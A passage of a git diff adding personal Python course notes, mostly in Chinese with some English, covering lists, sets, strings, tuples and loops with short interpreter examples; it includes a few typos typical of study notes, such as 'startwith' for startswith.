`[:]` + +```py +my_foods = ['pizza', 'falafel', 'carrot cake'] +friend_foods =my_foods[:] +``` +### list.copy(): 复制列表 + + +### listA = listB, refer not copy. + + +equal would not produce two separate lists. + - both variables point to the same list. + + +--- + +## Making Numerical Lists + +### list( range(x,y+1) ): [x, ..., y] + +```py +for value in range(1, 5): + print(value) +``` + + +### List Comprehensions + +A list comprehension +- generate list in one line of code. +- A list comprehension combines the for loop and the creation of new elements into one line, and automatically appends each new element. + +```py +squares = [value**2 for value in range(1, 11)] print(squares) +# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100] +``` + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Set.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Set.md new file mode 100644 index 00000000000..e984a336d6a --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Set.md @@ -0,0 +1,255 @@ + +[toc] + +# 集合(set) +- 一个无序的不重复元素序列。 +- 可以使用大括号 { } 或者 set() 函数创建集合 +- 注意:创建一个空集合必须用 set() 而不是 { },因为 { } 是用来创建一个空字典。 + +## 创建格式: +parame = {value01,value02,...} +或者 +set(value) + +>>> basket = {'BigBlueberry', 'orange', 'BigBlueberry', 'pear', 'orange', 'banana'} +>>> print(basket) # 这里演示的是去重功能 +{'orange', 'banana', 'pear', 'BigBlueberry'} +>>> 'orange' in basket # 快速判断元素是否在集合内 +True +>>> 'crabgrass' in basket +False + +## 两个集合间的运算. +```py +>>> a = set('abracadabra') +>>> b = set('alacazam') +>>> a +set(['a', 'r', 'b', 'c', 'd']) +>>> b +set(['a', 'c', 'z', 'm', 'l']) + +>>> a - b # 集合a中包含而集合b中不包含的元素 +{'r', 'd', 'b'} +>>> a | b # 包含的所有元素 +{'a', 'c', 'r', 'd', 'b', 'm', 'z', 'l'} +>>> a & b # 都包含了的元素 +{'a', 'c'} +>>> a ^ b # 不同时包含的元素 +{'r', 'd', 'b', 'm', 'z', 'l'} + +# 类似列表推导式,同样集合支持集合推导式(Set comprehension): +>>>a = {x for x in 'abracadabra' if x not in 'abc'} +>>> a +{'r', 'd'} +``` + +## 集合的基本操作 +### 1、添加元素 + - s.`add(x)`: 将元素 x 添加到集合 s 中,如果元素已存在,则不进行任何操作。 + >>> thisset = set(("Google", "Runoob", "Taobao")) + >>> thisset.add("Facebook") + >>> print(thisset) + {'Taobao', 'Facebook', 'Google', 'Runoob'} + + - s.`update(x)`: 也可以添加元素,且参数可以是列表,元组,字典等. x 可以有多个,用逗号分开。 + >>> thisset = set(("Google", "Runoob", "Taobao")) + >>> thisset.update({1,3}) + >>> print(thisset) + {1, 3, 'Google', 'Taobao', 'Runoob'} + >>> thisset.update([1,4],[5,6]) + >>> print(thisset) + {1, 3, 4, 5, 6, 'Google', 'Taobao', 'Runoob'} + +### 2、移除元素 + - s.`remove(x)`: 将元素 x 从集合 s 中移除 + - 如果元素不存在,则会发生错误。 + >>> thisset = set(("Google", "Runoob", "Taobao")) + >>> thisset.remove("Taobao") + >>> print(thisset) + {'Google', 'Runoob'} + >>> thisset.remove("Facebook") # 不存在会发生错误 + Traceback (most recent call last): + File "", line 1, in + KeyError: 'Facebook' + + - s.`discard(x)`: 也是移除集合中的元素 + - 且如果元素不存在,不会发生错误。 + >>> thisset = set(("Google", "Runoob", "Taobao")) + >>> thisset.discard("Facebook") # 不存在不会发生错误 + >>> print(thisset) + {'Taobao', 'Google', 'Runoob'} + + - s.`pop()`: 设置随机删除集合中的一个元素 + >>> thisset = set(("Google", "Runoob", "Taobao", "Facebook")) + >>> x = thisset.pop() + >>> print(x) + >>> Runoob + 多次执行测试结果都不一样。 + set 集合的 pop 方法会对集合进行无序的排列,然后将这个无序排列集合的左面第一个元素进行删除。 + + - s.`clear()` 移除集合中的所有元素 + >>> fruits = {"BigBlueberry", "banana", "cherry"} + >>> fruits.clear() + >>> print(fruits) + set() + + +### 3、计算集合元素个数 `len(s)`: 计算集合 s 元素个数。 +>>> thisset = set(("Google", "Runoob", "Taobao")) +>>> len(thisset) +3 + +### 4、清空集合 s.`clear()`: 清空集合 s。 +>>> thisset = set(("Google", "Runoob", "Taobao")) +>>> thisset.clear() +>>> print(thisset) +set() + +### 5、判断元素是否在集合中存在 `x in s`: 判断元素 x 是否在集合 s 中,存在返回 True,不存在返回 False。 +>>> thisset = set(("Google", "Runoob", "Taobao")) +>>> "Runoob" in thisset +True +>>> "Facebook" in thisset +False + +### s.`copy()` 拷贝一个集合 +>>> fruits = {"BigBlueberry", "banana", "cherry"} +>>> x = fruits.copy() +>>> print(x) +{'cherry', 'banana', 'BigBlueberry'} + +### s1.`union`(s2) 返回两个集合的并集 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "BigBlueberry"} +>>> z = x.union(y) +>>> print(z) +{'cherry', 'runoob', 'google', 'banana', 'BigBlueberry'} + + - 合并多个集合: + >>> x = {"a", "b", "c"} + >>> y = {"f", "d", "a"} + >>> z = {"c", "d", "e"} + >>> result = x.union(y, z) + >>> print(result) + {'c', 'd', 'f', 'e', 'b', 'a'} + + +### s1.`update`(s2) 给集合添加元素 +- 用于修改当前集合,可以添加新的元素或集合到当前集合中 +- 如果添加的元素在集合中已存在,则该元素只会出现一次,重复的会忽略。 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "BigBlueberry"} +>>> x.update(y) +>>> print(x) +{'banana', 'BigBlueberry', 'google', 'runoob', 'cherry'} + + +### s1.`difference`(s2) 返回多个集合的差集 / 返回一个s1 *移除相同元素* 的新集合 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "microsoft", "BigBlueberry"} +>>> z = x.difference(y) +>>> x.difference(y) +set(['cherry', 'banana']) +>>> print(z) +{'cherry', 'banana'} + + +### s1.`difference_update`(s2) 移除s1的元素,该元素在s2也存在。 +- 用于移除两个集合中都存在的元素。 + - `difference()` : 返回一个 *移除相同元素* 的新集合 + - `difference_update()` : 直接在原来的集合中 *移除相同* 元素,没有返回值。 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "microsoft", "BigBlueberry"} +>>> x.difference_update(y) +>>> print(x) +set(['cherry', 'banana']) +>>> print(y) +set(['google', 'microsoft', 'BigBlueberry']) + + +### s1.`symmetric_difference`(s2) 返回s1,s2中不相同的元素集合。 +- 返回两个集合组成的新集合,但会移除两个集合的重复元素: +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "BigBlueberry"} +>>> print(x.symmetric_difference(y)) +{'google', 'cherry', 'banana', 'runoob'} + +### s1.`symmetric_difference_update`(s2) 移除s1中在s2相同的元素,并将s2中不同的元素插入到s1中。 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "BigBlueberry"} +>>> x.symmetric_difference_update(y) +>>> print(x) +{'google', 'cherry', 'banana', 'runoob'} + + +### set1.`intersection`(set2 ... etc) 返回s1,s2的交集 +- set1 -- 必需,要查找相同元素的集合 +- set2 -- 可选,其他要查找相同元素的集合,可以多个,多个使用逗号 , 隔开 +- 返回值: 返回一个新的集合。该集合的元素既包含在集合 x 又包含在集合 y 中: +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "BigBlueberry"} +>>> z = x.intersection(y) +>>> print(z) +{'BigBlueberry'} + + - 计算多个集合的交集: + >>> x = {"a", "b", "c"} + >>> y = {"c", "d", "e"} + >>> z = {"f", "g", "c"} + >>> result = x.intersection(y, z) + >>> print(result) + {'c'} + + +### set1.`intersection_update`(set2 ... etc) 返回s1,s2的交集。移除s1不重叠的元素 +- 获取两个或更多集合中都重叠的元素,即计算交集。 + - `intersection()` 方法是返回一个新的集合 + - `intersection_update()` 方法是在原始的集合上移除不重叠的元素。 +- set1 -- 必需,要查找相同元素的集合 +- set2 -- 可选,其他要查找相同元素的集合,可以多个,多个使用逗号 , 隔开 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "BigBlueberry"} +>>> x.intersection_update(y) +>>> print(x) +{'BigBlueberry'} + + - 计算多个集合的并集: + >>> x = {"a", "b", "c"} + >>> y = {"c", "d", "e"} + >>> z = {"f", "g", "c"} + >>> x.intersection_update(y, z) + >>> print(x) + {'c'} + +### s1.`isdisjoint`(s2) 判断s1,s2是否包含相同的元素 +- 没有返回 True,否则返回 False。 +- set -- 必需,要比较的集合 +>>> x = {"BigBlueberry", "banana", "cherry"} +>>> y = {"google", "runoob", "facebook"} +>>> print(x.isdisjoint(y)) +True +>>> y = {"google", "runoob", "BigBlueberry"} +>>> print(x.isdisjoint(y)) +False + + +### s1.`issubset`(s2) 判断s1是否为s2的子集。 +- 是则返回 True,否则返回 False。 +>>> x = {"a", "b", "c"} +>>> y = {"f", "e", "d", "c", "b", "a"} +>>> print(x.issubset(y)) +True +>>> y = {"f", "e", "d", "c", "b"} +>>> print(x.issubset(y)) +false + + +### s1.`issuperset`(s2) 判断s2的所有元素是否都包含在s1中 +- 则返回 True,否则返回 False。 +>>> x = {"f", "e", "d", "c", "b", "a"} +>>> y = {"a", "b", "c"} +>>> print(x.issuperset(y)) +True +>>> x = {"f", "e", "d", "c", "b"} +>>> print(x.issuperset(y)) +False diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Strings(immutable).md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Strings(immutable).md new file mode 100644 index 00000000000..6167f225fa3 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Strings(immutable).md @@ -0,0 +1,420 @@ + +#strings + +[toc] + +## intro `immutable` +strings is collection of single character. + +Strings in immutable, not changeable. + +A string that contains no characters is `empty string` +- it is still considered to be a string. +- It is simply a sequence of zero characters and is represented by `‘’` or `“”` (double quotes with nothing inside). + +strings are surround bu quotation marks. + - double quotes `""` + - or single quotes `''` + - or triple quotes `'''x'''` `"""x"""` + +> 这样文本可以include quotes +> `Double quoted strings` can contain single quotes inside them, as in `"Bruce's beard"` +> `single quoted strings` can have double quotes inside them, as in `' The knights who say "Ni!" '`. +> `triple quoted strings`. Strings enclosed with three occurrences of either quote symbol, +> - can contain either single or double quotes +> - can even span multiple lines: + +```py +>>> print('''one days... +... two days... +... three days...''') +one days... +two days... +three days... +``` + +Python doesn’t care whether you use single or double quotes or the three-of-a-kind quotes to surround your strings. Once it has parsed the text of your program or command, the way it stores the value is identical in all cases, and the surrounding quotes are not part of the value. + +**no commands # in the strings** + +--- + +## Index Operator: Working with the Characters of a String + +![indexvalues](https://i.imgur.com/zkYkotc.png) + +`Indexing operator` selects a single character from a string. + +The characters are accessed by their `position/index value`. + +--- + +## The Slice Operator `[n:m]` + +A substring of a string is called a slice. +- The slice operator `[n:m]` returns the part of the string +- starting with the character at `index n` +- go up to but not including the character at `index m`. +- omit the first index, the slice starts at the beginning of the string. +- omit the second index, the slice goes to the end of the string. + +--- + +## 移除字符串中指定位置字符 +给定一个字符串,然后移除制定位置的字符: + +```py + +1. 移除第三个字符 n + + test_str = "Runoob" + new_str = "" + + for i in range(0, len(test_str)): + if i != 2: + new_str = new_str + test_str[i] + print ("字符串移除后为 : " + new_str) + # 结果 + 原始字符串为 : Runoob + 字符串移除后为 : Ruoob + + +2. 删除单个固定位置字符: 切片 + 拼接 + + s = 'abc:123' + # 字符串拼接方式去除冒号 + new_s = s[:3] + s[4:] + print(new_s) + +``` + +--- + +Method | Parameters | Description +---|---|--- +upper | none | Returns a string in all uppercase +lower | none | Returns a string in all lowercase +count | item | Returns the number of occurrences of item +index | item | Returns the leftmost index where the substring item is found and causes a runtime error if item is not found +strip | none | Returns a string with the leading and trailing whitespace removed +replace| old, new | Replaces all occurrences of old substring with new +format | substitutions | Involved! See String Format Method, below + +--- + +## str.`upper/lower/capitalize.title` 字符串大小写转换 +- 以下代码演示了如何将字符串转换为大写字母,或者将字符串转为小写字母等: + +```py +str = "www.runoob.com" +print(str.upper()) # 把所有字符中的小写字母转换成大写字母 +print(str.lower()) # 把所有字符中的大写字母转换成小写字母 +print(str.capitalize()) # 把第一个字母转化为大写字母,其余小写 +print(str.title()) # 把每个单词的第一个字母转化为大写,其余小写 +# 结果为: +WWW.RUNOOB.COM +www.runoob.com +Www.runoob.com +Www.Runoob.Com +``` + +--- + + +## str.`count()` 统计字符串里某字符出现次数。 +- `str.count( sub, start= 0, end=len(string) )` +- 可选参数为在字符串搜索的开始与结束位置。 + - sub: 搜索的子字符串 + - start: 字符串开始搜索的位置。默认为第一个字符,第一个字符索引值为0。 + - end: 字符串中结束搜索的位置。字符中第一个字符的索引为 0。默认为字符串的最后一个位置。 +- 返回值: 该方法返回子字符串在字符串中出现的次数。 + +```py +str = "this is string example....wow!!!"; + +print "str.count("i", 4, 40) : ", str.count("i", 4, 40) +print "str.count("wow") : ", str.count("wow") +# 输出 +str.count("i", 4, 40) : 2 +str.count("wow") : 1 +``` + +--- + +## str.`find`(substring, startidex) + +finds the first occurrence of the substring. +- if not found, return -1. + +```py + +fruit='banana' +pos=fruit.find('na') +print(pos) # 2 + + +data="From grace@uce.goc Sat Jan 5 09:33:22 2020" +atpos=data.find('@') # 21 +sppos=data.find(' ', 21) # 31 +host=data[atpos+1:sppos] # uce.goc + +``` + + +--- + + +## str.`join`(sequence) 连接字符串 + +str.`join`(sequence) + - sequence: 要连接的元素序列。 + +You choose a desired separator string (the `glue`) and join the list with the glue between each of the elements. + +```py + +1. command + + str = "-"; + seq = ("a", "b", "c"); # 字符串序列 + print str.join( seq ); + # 输出 + a-b-c + +2. + from itertools import permutations + t = 0 + for i in permutations('1234',3): + # i = + # ('1', '2', '3') + # ('1', '2', '4') + print(''.join(i)) + t += 1 + print("amount:%s"%t) + +3. + wds = ["red", "blue", "green"] + glue = ';' + + glue.join(wds) + "***".join(wds) + "".join(wds) + +``` + +--- + +## str.`startwith`(str) + +```py + +line="please have a nice day" +line.startwith("please") +True +line.startwith("p") +False + +``` + + +--- + +## str.`strip/lstrip/rstrip`() + +`lstrip/rstrip()`: remove whitespace at the left or right. + +`strip()`: remove whitespace both side. + +```py + +great=" hello " +great.lstrip() +great.rstrip() +great.strip() + +# great="hello" + +``` + + +--- + +## str.`replace`(old, new[, max]) + +ss.replace(rgExp, replaceText, max) +- rgExp: 是指正则表达式模式或可用标志的正则表达式对象,也可以是 String 对象或文字 +- replaceText: 是一个String 对象或字符串文字 +- max: 一个数字。对于一个对象,在对象的每个rgExp都替换成replaceText,从左到右最多max次。 + +```py + +theString='djisiygdkjfiod'.replace('d','') +print(theString) + + +def remove_letter(theLetter, theString): + for i in range(len(theString)): + if theLetter in theString: + theString=theString.replace(theLetter,'') + return theString + +print(remove_letter('d','djisiygdkjfiod')) +``` + +--- + +## str.`split`() +- breaks a string into a `list of words`. +- the `.split()` method returns a `list`. + + +```py +1. By default, any number of whitespace characters is considered a word boundary. + + song = "The rain in Spain..." + wds = song.split() + print(wds) + ['The', 'rain', 'in', 'Spain...'] + +2. An optional argument, delimiter 分隔符, can be used to specify which characters to use as word boundaries. +// the delimiter doesn’t appear in the result. + + song = "The rain in Spain..." + wds = song.split('ai') + print(wds) + ['The r', 'n in Sp', 'n...'] +``` + +--- + +## str.`strip`([chars]) + +str.`strip`([chars]) +- 移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。 +- 只能删除开头或是结尾的字符,不能删除中间部分的字符。 + +str.`rstrip`([chars]): remove right side + +str.`lstrip`([chars]): remove left side + + +```py +str = "00000003210Runoob01230000000"; +print str.strip( '0' ); # 去除首尾字符 0 + + +str2 = " Runoob "; # 去除首尾空格 +print str2.strip(); + +str = "123abcrunoob321" +print (str.strip( '12' )) # 去除首尾 12 +# 结果 +3abcrunoob3 +``` + +--- + + +--- + +## Using Variables in Strings + +### str.`format`() + +- Python 3.5 or earlier + +`"{}".format(Variable)` +- `{}` no space inside + +```py +scores = [("Rodney Dangerfield", -1), ("Marlon Brando", 1), ("You", 100)] +for person in scores: + name = person[0] + score = person[1] + print("Hello {}. Your score is {}.".format(name, score)) + + +inventory = ["shoes, 12, 29.99", "shirts, 20, 9.99", "sweatpants, 25, 15.00", "scarves, 13, 7.75"] +for item in inventory: + a=item.split(", ") + name=a[0] + num=a[1] + price=a[2] + print("The store has {} {}, each for {} USD.".format(num,name,price)) + + +# 设置指定位置 +"{0} {1}".format("hello", "world") +'hello world' + +# 设置指定位置 +"{1} {0} {1}".format("hello", "world") +'world hello world' + +"网站名:{name}, 地址 {url}".format(name="菜鸟教程", url="www.runoob.com") + +# 通过字典设置参数 +site = {"name": "菜鸟教程", "url": "www.runoob.com"} +print("网站名:{name}, 地址 {url}".format(**site)) + + +# 通过列表索引设置参数 +my_list = ['菜鸟教程', 'www.runoob.com'] +print("网站名:{0[0]}, 地址 {0[1]}".format(my_list)) # "0" 是必须的 +``` + +pass arguments to the `format` method in the correct order +- because they are matched *positionally* into the `{}` places for interpolation where there is more than one. + +Format strings can give further information inside the braces showing how to specially format data. +- `floats`: For two decimal places: `{:.2f}`. + +If you have a `{}` in a string that you do not pass arguments for + - you may not get an error + - but you will see a weird `undefined` value you probably did not intend suddenly inserted into your string. + + ```py + name = "Sally" + greeting = "Nice to meet you" + s = "Hello, {}. {}." + print(s.format(name,greeting)) # will print Hello, Sally. Nice to meet you. + print(s.format(greeting,name)) # will print Hello, Nice to meet you. Sally. + print(s.format(name)) # 2 {}s, only one interpolation item! Not ideal. + ``` + + +### f-strings. + +- Python 3.6. + +The f is for format, because Python formats the string by replacing the name of any variable in braces with its value. The output from the previous code is: + +```py +first_name = "ada" +last_name = "lovelace" + +full_name = f"{first_name} {last_name}" +print(full_name) + + +full_name = f"{first_name} {last_name}" +print(f"Hello, {full_name.title()}!") + +message = f"Hello, {full_name.title()}!" +print(message) + +``` + + +## Adding Whitespace to Strings with Tabs or Newlines + +``` +\t : Tab + +\n : next line + +print("Languages:\n\tPython\n\tC\n\tJavaScript") +``` + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Tuple(immutable).md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Tuple(immutable).md new file mode 100644 index 00000000000..0bae171f9ed --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.Tuple(immutable).md @@ -0,0 +1,166 @@ + +# tuple + +[toc] + +## 元组 `immutable` +- 元组与列表类似,不同:*元组的元素不能修改* + - its contents can’t be changed after the tuple is created. +- 元组:小括号 `()`,列表:方括号`[]`。 +- 元组创建很简单,只需要在括号中添加元素,并使用`逗号`隔开即可。 + - have to include the final comma + - without the final comma, Python treats the (5) below as an integer in parentheses: + +```py +# 创建空元组 +>>> tup1 = (); + +>>> tup1 = ('Google', 'Runoob', 1997, 2000); +>>> tup2 = (1, 2, 3, 4, 5 ); + +# 不需要括号也可以 +>>> tup3 = "a", "b", "c", "d"; +>>> type(tup3) + + +# 元组中只包含一个元素时,需要在元素后面添加逗号,否则括号会被当作运算符使用: +>>>tup1 = (50) +>>> type(tup1) # 不加逗号,类型为整型 + + +>>> tup1 = (50,) +>>> type(tup1) # 加上逗号,类型为元组 + +``` + + +## 访问元组 +- 元组可以使用下标索引来访问元组中的值 +- 元组与字符串类似,下标索引从0开始,可以进行截取,组合等。 + +```py +tup1 = ('Google', 'Runoob', 1997, 2000) +tup2 = (1, 2, 3, 4, 5, 6, 7 ) + +print ("tup1[0]: ", tup1[0]) +print ("tup2[1:5]: ", tup2[1:5]) + +# 结果: +tup1[0]: Google +tup2[1:5]: (2, 3, 4, 5) +``` + +## 修改元组 +- 元组中的元素值 *不允许修改* +- 但可以对元组进行 *连接组合* + +```py +tup1 = (12, 34.56); +tup2 = ('abc', 'xyz') + +# 以下修改元组元素操作是非法的。 +# tup1[0] = 100 + +# 创建一个新的元组 +tup3 = tup1 + tup2; +print (tup3) +# 结果: +(12, 34.56, 'abc', 'xyz') + +``` + + +## 删除元组 +- 元组中的元素值是不允许删除的 +- 但可以使用 `del` 语句来删除整个元组 + +```py +tup = ('Google', 'Runoob', 1997, 2000) + +print (tup) +del tup; +print ("删除后的元组 tup : ") +print (tup) + +# 以上实例元组被删除后,输出变量会有异常信息 +# 输出如下 +删除后的元组 tup : +Traceback (most recent call last): + File "test.py", line 8, in + print (tup) +NameError: name 'tup' is not defined +``` + + +## 元组索引,截取 +- 元组也是一个序列,可以访问元组中的指定位置的元素,也可以截取索引中的一段元素 + +L = ('Google', 'Taobao', 'Runoob') + +- L[2]: 'Runoob' 读取第三个元素 +- L[-2]: 'Taobao' 反向读取;读取倒数第二个元素 +- L[1:]: ('Taobao', 'Runoob') 截取元素,从第二个开始后的所有元素。 + + +## 元组运算符 +- tuple可以组合和复制,运算后会生成一个新的元组。 + +Python 表达式 | 结果 | 描述 +---|---|--- +len((1, 2, 3)) | 3 | 计算元素个数 +(1, 2, 3) + (4, 5, 6) | (1, 2, 3, 4, 5, 6) | 连接 +('Hi!',) * 4 | ('Hi!', 'Hi!', 'Hi!', 'Hi!') | 复制 +3 `in` (1, 2, 3) | True | 元素是否存在 +`for x in` (1, 2, 3): print (x,) | 1 2 3 | 迭代 + + +## 元组内置函数 + +1. len(tuple): 计算元组元素个数。 + +```py +>>> tuple1 = ('Google', 'Runoob', 'Taobao') +>>> len(tuple1) +3 +``` + +2. max(tuple): 返回元组中元素最大值。 +3. min(tuple):返回元组中元素最小值。 + +```py +>>> tuple2 = ('5', '4', '8') +>>> max(tuple2) +'8' +>>> min(tuple2) +'4' +``` + +4. tuple(seq): 将列表转换为元组。 + +```py +>>> list1= ['Google', 'Taobao', 'Runoob', 'Baidu'] +>>> tuple1=tuple(list1) +>>> tuple1 +('Google', 'Taobao', 'Runoob', 'Baidu') +``` + + +## 关于元组是不可变的 +- 不可变: 元组所指向的内存中的内同不可变。 + +```py +>>> tup = ('r', 'u', 'n', 'o', 'o', 'b') +>>> tup[0] = 'g' # 不支持修改元素 +Traceback (most recent call last): + File "", line 1, in +TypeError: 'tuple' object does not support item assignment + +>>> id(tup) # 查看内存地址 +4440687904 + +>>> tup = (1,2,3) +>>> id(tup) +4441088800 # 内存地址不一样了 + +//重新赋值的元组 tup,绑定到新的对象了,不是修改了原来的对象。 +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.1.Iteration.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.1.Iteration.md new file mode 100644 index 00000000000..15ac1954f2e --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.1.Iteration.md @@ -0,0 +1,575 @@ +# Iteration + +[toc] + +## Iteration define + +A `basic building block` of all programs is to be able to `repeat` some code over and over again. + +> - updating the bank info of millions customers each night +> - sending email messages to thousands of people +> - programming involves instructing the computer to do many repetitive actions. + +In computing, we refer to this `repetitive execution` as `iteration`. + +--- + +# loop + +`loop variables`: for `i` in [xxxx] + +`while` +- *indefinite* Iteration: don't know how many times need to repeat. when it depends on something that happens during the execution. +- 在给定的判断条件为 true 时执行循环体,否则退出循环体。 + + +`for` +- *definite* Iteration: whenever it will be known at the beginning of the iteration process how many times the block of code needs to be executed. +- 重复执行语句 + +You can rewrite any for-loop as a while-loop. + +## Flow of Execution of the for Loop +As a program executes, the interpreter always keeps track of which statement is about to be executed. We call this the `control flow`, or the `flow of execution` of the program. + + +## `while` + + +```py +while condition: + statements + +# 同样需要注意冒号和缩进 +# 在 Python 中没有 do..while 循环。 +``` + +indefinite Iteration: don't know how many times need to repeat. + + +the flow of execution for a while statement: +- Evaluate the condition, yielding `False` or `True`. +- If the condition is `False`, exit the while statement and continue execution at the next statement. +- If the condition is `True`, execute each of the statements in the body and then go back to step 1. + - 任何 非零、或非空(null)的值 均为 *true* 。 + +执行语句可以是单个语句或语句块。 +- The body of the loop should change the value of one or more variables so that eventually the condition becomes False and the loop terminates. +- Otherwise the loop will repeat forever, `infinite loop`. + + + +```py + +0. 简单语句组 + 如果 while 循环体中只有一条语句,可以将该语句与while写在同一行中 + + flag = 1 + while (flag): print ("Given flag is really true!") + +1. + + def sumTo(aBound): + """ Return the sum of 1+2+3 ... n """ + theSum = 0 + aNumber = 1 + while aNumber <= aBound: + theSum = theSum + aNumber + aNumber = aNumber + 1 + return theSum + + print(sumTo(4)) + print(sumTo(1000)) + +2. + + count = 0 + while (count < 9): + print 'The count is:', count + count = count + 1 + print "Good bye!" + # 结果: + The count is: 0 + The count is: 1 + The count is: 2 + The count is: 3 + The count is: 4 + The count is: 5 + The count is: 6 + The count is: 7 + The count is: 8 + Good bye! + + +3. 设立范围的要在前面 + + def stop_at_four(lst): + turn=0 + nlist=[] + # while lst[turn] != 4 and turn < len(lst): error + while turn < len(lst) and lst[turn] != 4: + nlist.append(lst[turn]) + turn+=1 + return nlist + + def stop_at_four(input_list): + output_list = [] + index = 0 + while index < len(input_list) and input_list[index] != 4: + output_list.append(input_list[index]) + index += 1 + return output_list + + +4. while … else 在循环条件为 false 时执行 else 语句块: + + count = 0 + while count < 5: + count = count + 1 + else: + print(count, " is more than 5") +``` + +--- + +## Other uses of `while`: + +### 14.3 `listener` loop +get user input and repeats loop indefinitely, until a particular input is received. + +```py + theSum = 0 + x = -1 + while (x != 0): + x = int(input("number to add up (enter 0 if no more numbers): ")) + theSum = theSum + x + + print(theSum) +``` + +### 14.3.1.1. `Sentinel Values` + +Indefinite loops are much more common in the real world than definite loops. + - selling ticket + - unloads a plane + - checkout line at the grocery, the clerks don’t know in advance how many items there are. They just keep ringing up items as long as there are more on the conveyor belt. + +if no option to set `while` to False, it would run forever. + +`sentinel 守卫 value`: value used to signal the end of the loop. +- checkout line: use a price of zero to mean “this is my last item.” In this program, zero is a `sentinel 守卫 value`. + +```py +def checkout(): + total = 0 + count = 0 + moreItems = True ### + while moreItems: + price = float(input('Enter price of item (0 when done): ')) + if price != 0: + count = count + 1 + total = total + price + print('Subtotal: $', total) + else: + moreItems = False ### + + average = total / count + print('Total items:', count) + print('Total $', total) + print('Average price per item: $', average) + +checkout() +``` + +few problems with this program +- enter a negative number, it will be added to the total and count. Modify the code so that negative numbers give an error message instead (but don’t end the loop) Hint: elif is your friend. +- If enter zero at the first time, error, try to divide by zero. Use an if/else statement outside the loop to avoid the division by zero and tell the user that you can’t compute an average without data. +- doesn’t display the amounts to two decimal places. You’ll be introduced to that in another chapter. + +### 14.3.1.2. Validating Input +can also use a `while` loop when you want to `validate input` + +```py + +# Validating Input +def get_yes_or_no(message): + valid_input = False + # use not false to loop. + while not valid_input: + answer = input(message) + answer = answer.upper() # convert to upper case + if answer == 'Y' or answer == 'N': + valid_input = True + else: + print('Please enter Y for yes or N for no.') + return answer + +# Validating Input +response = get_yes_or_no('Do you like lima beans? Y)es or N)o: ') + +# give the output +if response == 'Y': + print('Great! They are very healthy.') +else: + print('Too bad. If cooked right, they are quite tasty.') +``` + + + +### continue 和 break 用法 +* continue 用于跳过该次循环, +* break 则是用于退出循环, +此外"判断条件"还可以是个常值,表示循环必定成立,具体用法如下: + +```py +i = 1 +while i < 10: + i += 1 + if i%2 > 0: # 非双数时跳过输出 + continue + print i # 输出双数2、4、6、8、10 + +i = 1 +while 1: # 循环条件为1必定成立 + print i # 输出1~10 + i += 1 + if i > 10: # 当i大于10时跳出循环 + break +``` + + +### turtle + +```py +import turtle +import random + +# assume 90%, the turtle is in the window, 10%, the turtle has escaped. +def isInScreen(w, t): + if random.random() > 0.1: + return True + else: + return False + +# find out the width and the height of the screen +def isInScreen(wn,t): + leftBound = -(wn.window_width() / 2) + rightBound = wn.window_width() / 2 + topBound = wn.window_height() / 2 + bottomBound = -(wn.window_height() / 2) + + turtleX = t.xcor() + turtleY = t.ycor() + + stillIn = True + if turtleX > rightBound or turtleX < leftBound: + stillIn = False + if turtleY > topBound or turtleY < bottomBound: + stillIn = False + + return stillIn + + +t = turtle.Turtle() +wn = turtle.Screen() +t.shape('turtle') + +while isInScreen(wn, t): + coin = random.randrange(0, 2) + if coin == 0: # 0=heads + t.left(90) + else: # 1=tails + t.right(90) + t.forward(50) + +wn.exitonclick() + +``` + +### assignment + +Write a function called beginning that takes a list as input and contains a while loop that only stops once the element of the list is the string ‘bye’. What is returned is a list that contains up to the first 10 strings, regardless of where the loop stops. (i.e., if it stops on the 32nd element, the first 10 are returned. If “bye” is the 5th element, the first 4 are returned.) If you want to make this even more of a challenge, do this without slicing + +```py +def beginning(a): + print(a) + n=0 + lst=[] + while n!=10 and a[n]!="bye": + lst=a[:n+1] + n+=1 + print(lst) + return lst +``` + +--- + + +## `for` statement + +use `for` statement to write programs that implement `iteration`. +- for循环可以遍历任何序列的项目,如一个列表或者一个字符串。 +- `for` statement is a `compound statement`. The level of indentation 凹进,缩格 of a (whole) compound statement is the indentation of its heading. + +```py + for loop/iterator.variable in iterable.sequence(string/list/tuple): + loop body statements(s) + + # Python is unable to iterate over integers and floats. + y = 18 + for z in y: + print(z) +``` + +`iterator/loop variable` vs `iterable`: +- Each time the loop iterates, the value of the `iterator variable` will change to a different portion of the `iterable`. + - The `iterable`: the object that you will parsing through in a for loop. Generally, does not change while the for loop is being executed. + - The `iterator/loop variable`: the variable which stores a portion of the iterable when the for loop is being executed. + + +On each `iteration` or `pass` of the `loop` +- first a check is done to see if there are still more items to be processed. +- If there are none left (`terminating condition` of the loop), the loop has finished. Program execution continues at the next statement after the loop body. +- If there are items still to be processed, the loop variable is updated to refer to the next item in the list. +- At the end of each execution of the body of the loop, Python returns to the for statement, to see if there are more items to be handled. + + +iteration_vs_hardcoding + 